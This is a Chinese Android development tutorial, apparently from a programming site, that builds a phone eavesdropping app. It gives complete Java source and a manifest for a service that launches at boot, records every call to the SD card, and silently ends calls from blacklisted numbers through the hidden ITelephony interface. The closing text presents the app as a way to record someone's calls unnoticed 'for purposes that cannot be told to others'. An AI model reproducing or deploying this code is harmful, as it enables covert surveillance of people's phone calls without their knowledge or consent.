Android开发实现的电话窃听和拦截应用
本文实例讲述了android开发实现的电话窃听和拦截应用。分享给大家供大家参考,具体如下:
今天学习了进程间service的通信-->aidl,基于前几天学习的广播机制,我做了一个简单的电话窃听和录音应用。现将具体实现方法附在下面,供大家参考,希望大家提供一些宝贵的意见。
业务需求分析:
1.当手机处于开机状态,监听服务就要启动,对来电进行监听录音。
2.设置电话黑名单,当来电是黑名单电话,则直接挂断。
实现步骤:
首先我们要定义一个电话监听的服务,对来电进行监听录音和拦截。具体代码如下:
phonelistenerservice:
package cn.yj3g.l21_phonelistener; import java.lang.reflect.method; import com.android.internal.telephony.itelephony; import android.app.service; import android.content.context; import android.content.intent; import android.media.mediarecorder; import android.os.environment; import android.os.ibinder; import android.telephony.phonestatelistener; import android.telephony.telephonymanager; import android.util.log; import android.view.layoutinflater; import android.view.view; import android.widget.toast; public class phonelistenerservice extends service { private mediarecorder recorder; private boolean recording = false; @override public ibinder onbind(intent intent) { return null; } @override public void oncreate() { log.v("tag", "service oncreate()"); super.oncreate(); //电话服务管理 telephonymanager manager = (telephonymanager) getsystemservice(context.telephony_service); //监听电话状态 manager.listen(listener, phonestatelistener.listen_call_state); } private phonestatelistener listener = new phonestatelistener() { /* * @see telephonymanager#call_state_idle 值为0 * * @see telephonymanager#call_state_ringing 值为1 * * @see telephonymanager#call_state_offhook 值为2 */ @override public void oncallstatechanged(int state, string incomingnumber) { super.oncallstatechanged(state, incomingnumber); //打印电话状态改变信息 log.v("tag", "oncallstatechanged state=" + state); switch (state) { case telephonymanager.call_state_idle: // 没有来电 或者 挂断 stoprecord(); break; case telephonymanager.call_state_ringing: // 响铃时 stop(incomingnumber); break; case telephonymanager.call_state_offhook: // 接起电话 recordcalling(); break; default: break; } } }; //停止录音 private void stoprecord() { log.v("tag", "stoprecord"); if (recording) { recorder.stop(); recorder.release(); recording=false; } } //电话拦截 public void stop(string s) { try { if (s.equals("110")) { toast.maketext(this, "拦截成功", 0).show(); log.e("tag", "此来电为黑名单号码,已被拦截!"); //调用itelephony.endcall()结束通话 method method = class.forname("android.os.servicemanager") .getmethod("getservice", string.class); ibinder binder = (ibinder) method.invoke(null, new object[] { telephony_service }); itelephony telephony = itelephony.stub.asinterface(binder); telephony.endcall(); } else toast.maketext(this, "不需拦截", 0).show(); recording=false; } catch (exception e) { e.printstacktrace(); } } //进行录音 private void recordcalling() { try { log.v("tag", "recordcalling"); recorder = new mediarecorder(); recorder.setaudiosource(mediarecorder.audiosource.mic); // 读麦克风的声音 recorder.setoutputformat(mediarecorder.outputformat.three_gpp);// 输出格式.3gp recorder.setaudioencoder(mediarecorder.audioencoder.amr_nb);// 编码方式 recorder.setoutputfile(environment.getexternalstoragedirectory() .getabsolutepath() + "/" + system.currenttimemillis() + ".3gp");// 存放的位置是放在sdcard目录下 recorder.prepare(); recorder.start(); recording = true; } catch (exception e) { e.printstacktrace(); } } }
android没有对外公开结束通话的api,如果需要结束通话,必须使用aidl与电话管理服务进行通信, 并调用服务中的api实现结束通话,方法如下:
1.从android的源代码中拷贝以下文件到项目中:
com/android/internal/telephony/itelephony.aidl android/telephony/neighboringcellinfo.aidl
如下图所示.开发工具会在gen目录下自动生成itelephony.java
我们知道服务不能自己启动,需要手动启动,所以我们需要一个广播,当手机刚开机,我们就发送广播,启动监听电话的服务。下面是我写的一个发送广播的receiver
bootcompletereceiver:
package cn.yj3g.l21_phonelistener; import android.content.broadcastreceiver; import android.content.context; import android.content.intent; import android.util.log; public class bootcompletereceiver extends broadcastreceiver { @override public void onreceive(context context, intent intent) { //运用广播开启监听这个服务 log.v("tag", "开机了!"); intent i = new intent(context, phonelistenerservice.class); i.setflags(intent.flag_activity_new_task);//由于之前运行不能实现功能,经老师的修改加上一个任务标志 context.startservice(i); } }
下面就是要在androidmanifest.xml中配置相关的权限:具体代码如下:
androidmanifest.xml:
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="cn.yj3g.l21_phonelistener" android:versioncode="1" android:versionname="1.0"> <uses-sdk android:minsdkversion="8" /> <application android:icon="@drawable/icon" android:label="@string/app_name"> <service android:name=".phonelistenerservice"> <intent-filter> <action android:name="cn.yj3g.l21_phonelistener.phonelistenerservice" ></action> </intent-filter> </service> <receiver android:name=".bootcompletereceiver"> <intent-filter> <action android:name="android.intent.action.boot_completed" /> </intent-filter> </receiver> </application> <!-- 读取电话状态权限--> <uses-permission android:name="android.permission.read_phone_state"/> <!-- 录音权限 --> <uses-permission android:name="android.permission.record_audio"/> <!-- 向sdcard中写数据的权限 --> <uses-permission android:name="android.permission.write_external_storage" /> <!-- 开机启动广播的权限 --> <uses-permission android:name="android.permission.receive_boot_completed" /> <!-- 挂断电话时需要的权限 --> <uses-permission android:name="android.permission.call_phone" /> </manifest>
这样一个监听电话的应用就做好了。当安装此应用的手机开机时,来电就处于监听状态,这样就可以不动声色的对该手机的来电进行监听录音或者拦截,以达到不可告人的目的。
ps:关于android manifest功能与权限设置详细内容可参考本站在线工具:
android manifest功能与权限描述大全:
http://tools.jb51.net/table/androidmanifest
更多关于android相关内容感兴趣的读者可查看本站专题:《android开发入门与进阶教程》、《android视图view技巧总结》、《android编程之activity操作技巧总结》、《android操作sqlite数据库技巧总结》、《android操作json格式数据技巧总结》、《android数据库操作技巧总结》、《android文件操作技巧汇总》、《android编程开发之sd卡操作方法汇总》、《android资源操作技巧汇总》及《android控件用法总结》
希望本文所述对大家android程序设计有所帮助。
下一篇: Mac下MySQL的安装配置